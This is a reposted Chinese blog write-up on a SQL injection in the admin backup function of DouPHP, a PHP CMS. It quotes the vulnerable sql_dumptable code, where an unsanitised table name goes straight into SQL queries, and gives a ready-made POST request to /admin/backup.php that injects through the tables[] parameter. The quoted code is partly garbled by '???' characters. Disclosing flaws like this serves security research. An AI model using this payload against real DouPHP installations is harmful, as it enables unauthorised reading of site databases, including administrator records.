分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 运营维护

douphp后台注入

发布时间:2023-09-06 01:24责任编辑:熊小新关键词:暂无标签

---恢复内容开始---

 ???for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $vol_size * 1024; $i++) { ???????$sqldump .= $backup->sql_dumptable($tables[$i], $vol_size, $startfrom, strlen($sqldump)); ???????$startfrom = 0; ???}

跟进sql_dumptable函数

 ??function sql_dumptable($table, $vol_size, $startfrom = 0, $currsize = 0) {$offset = 100; ???????if (!$startfrom) { ???????????$tabledump = "DROP TABLE IF EXISTS `$table`;\n"; ??????????// die("SHOW CREATE TABLE $table"); ???????????$createtable = $GLOBALS[‘dou‘]->query("SHOW CREATE TABLE $table"); ???????????$create = $GLOBALS[‘dou‘]->fetch_array($createtable); ???????????$tabledump .= $create[1] . ";\n\n"; ???????????if ($GLOBALS[‘dou‘]->version() > ‘4.1‘ && $this->sqlcharset) { ???????????????$tabledump = preg_replace("/(DEFAULT)*\s*CHARSET=[a-zA-Z0-9]+/", "DEFAULT CHARSET=" . $this->sqlcharset, $tabledump); ???????????} ???????} ???????$tabledumped = 0; ???????$numrows = $offset; ???????while ($currsize + strlen($tabledump) < $vol_size && $numrows == $offset) { ???????????$tabledumped = 1; ???????????//die("SELECT * FROM $table LIMIT $startfrom, $offset"); ???????????$rows = $GLOBALS[‘dou‘]->query("SELECT * FROM $table LIMIT $startfrom, $offset"); ???}

构造payload

POST /admin/backup.php?rec=backup HTTP/1.1tables%5B%5D=dou_admin where 1=1*#&startfrom=1&file_name=D20171110T165601&vol_size=2048&token=5c9a08d0&totalsize=119&submit=%E7%A1%AE%E5%AE%9A%E5%A4%87%E4%BB%BD

---恢复内容结束---

douphp后台注入

原文地址:http://www.cnblogs.com/test404/p/7816087.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved